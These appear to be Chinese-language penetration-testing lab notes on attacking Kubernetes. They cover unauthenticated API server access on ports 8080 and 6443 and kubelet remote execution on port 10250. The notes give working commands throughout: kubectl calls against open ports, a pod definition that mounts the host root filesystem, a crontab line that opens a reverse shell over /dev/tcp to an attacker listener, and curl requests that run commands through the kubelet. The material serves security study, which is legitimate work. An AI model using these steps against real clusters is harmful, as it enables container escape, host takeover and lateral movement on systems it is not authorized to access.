0x00 k8s简介
k8s(Kubernetes) 是容器管理平台,用来管理容器化的应用,提供快速的容器调度、弹性伸缩等诸多功能,可以理解为容器云,不涉及到业务层面的开发。只要你的应用可以实现容器化,就可以部署在k8s 上,通过k8s对应用负载进行调度,配合hpa (Horizontal PodAutoscaling) 可以实现应用负载的弹性伸缩从而解决高并发量的问题。
简单说就是:管理多台主机上的容器应用,是一个集群管理(Master节点)
以往的攻击点思路通常:
外网信息收集打点,漏洞攻击,获取权限,提权内网横向…
云上攻防思路:
- 控制云平台管理系统,达到控制所有云主机目的
- 通过容器环境提权逃逸,获取宿主机权限后利用k8s云架构横向云服务
- 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
k8s的十二个攻击点以及部署图:
参考千里目实验室文章:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
如下可以看到主控制节点master,以及Node1节点,Node2节点, 其中Node中存在pod,理解为对应的容器启动的业务应用。
0x01 如何判断对象是否为k8s?
端口判断:在Master,Note节点上有明显的端口特征如6443的api server服务 。
k8s新旧版本的区别:
旧版本会开启6443和8080端口,8080不需要验证,6443是TLS加密,老版本k8s<=1.16.0,而新版只会开启6443
因为安装新的或者旧k8s是根据业务主机工作性质去配置,所以不一定是全是需要新版,所以会导致一些问题。
实验环境:
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
下面poc采用小迪笔记
0x02 8080端口:API Server未授权访问
攻击master节点的8080,默认为旧版本k8s xshell连接master
访问8080不带s发现api接口,消去配置文件的8080,改为0,重启服务,无法打开
利用官方客户端工具:安装kubectl(管理k8s的命令行工具) kubectl get pods 判断pods个数(容器个数)
kubectl get nodes 判断主机数量 windows命令-s连接获取nodes
再获取pods,创建文件,创建添加一个pods,利用文件执行命令,(连接未授权的地址端口)在docker中创建连接shell,拿到容器的docker的shell,再通过计划任务反弹shell(因为创建的容器挂载在宿主机的mnt目录,通过反弹也是通过mnt反弹)
开kali监听端口接受到shell, 因为是再node中创建的,所以cron计划任务也在node1中才可以看到
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
0x03 6443端口:API Server未授权访问
攻击点2master节点上:6443端口,错误的配置允许匿名用户通过管理员权限下发任务 确定有未授权:访问6443 泄露api接口
通过postman发送包,创建新的pods为test3,连接创建的pods,再反弹shell跟上面一致
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
再去反弹shell
0x04 10250端口:kubelet未授权访问
攻击点3Node节点上:kubelet未授权访问 判断是否存在未授权:直接访问第二台node2的10250端口 xshell连接node2,
查看config.yaml文件,enabled为true,mode为AlwaysALLow(配置这两个会导致问题)
攻击132node2主机执行命令 替换三个数值,直接执行回显命令
https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet-利用执行命令这里需要三个参数
namespace default
pod test03
container test03
-访问获取:
https://192.168.139.132:10250/runningpods/
-执行模版:
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
-构造触发:
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"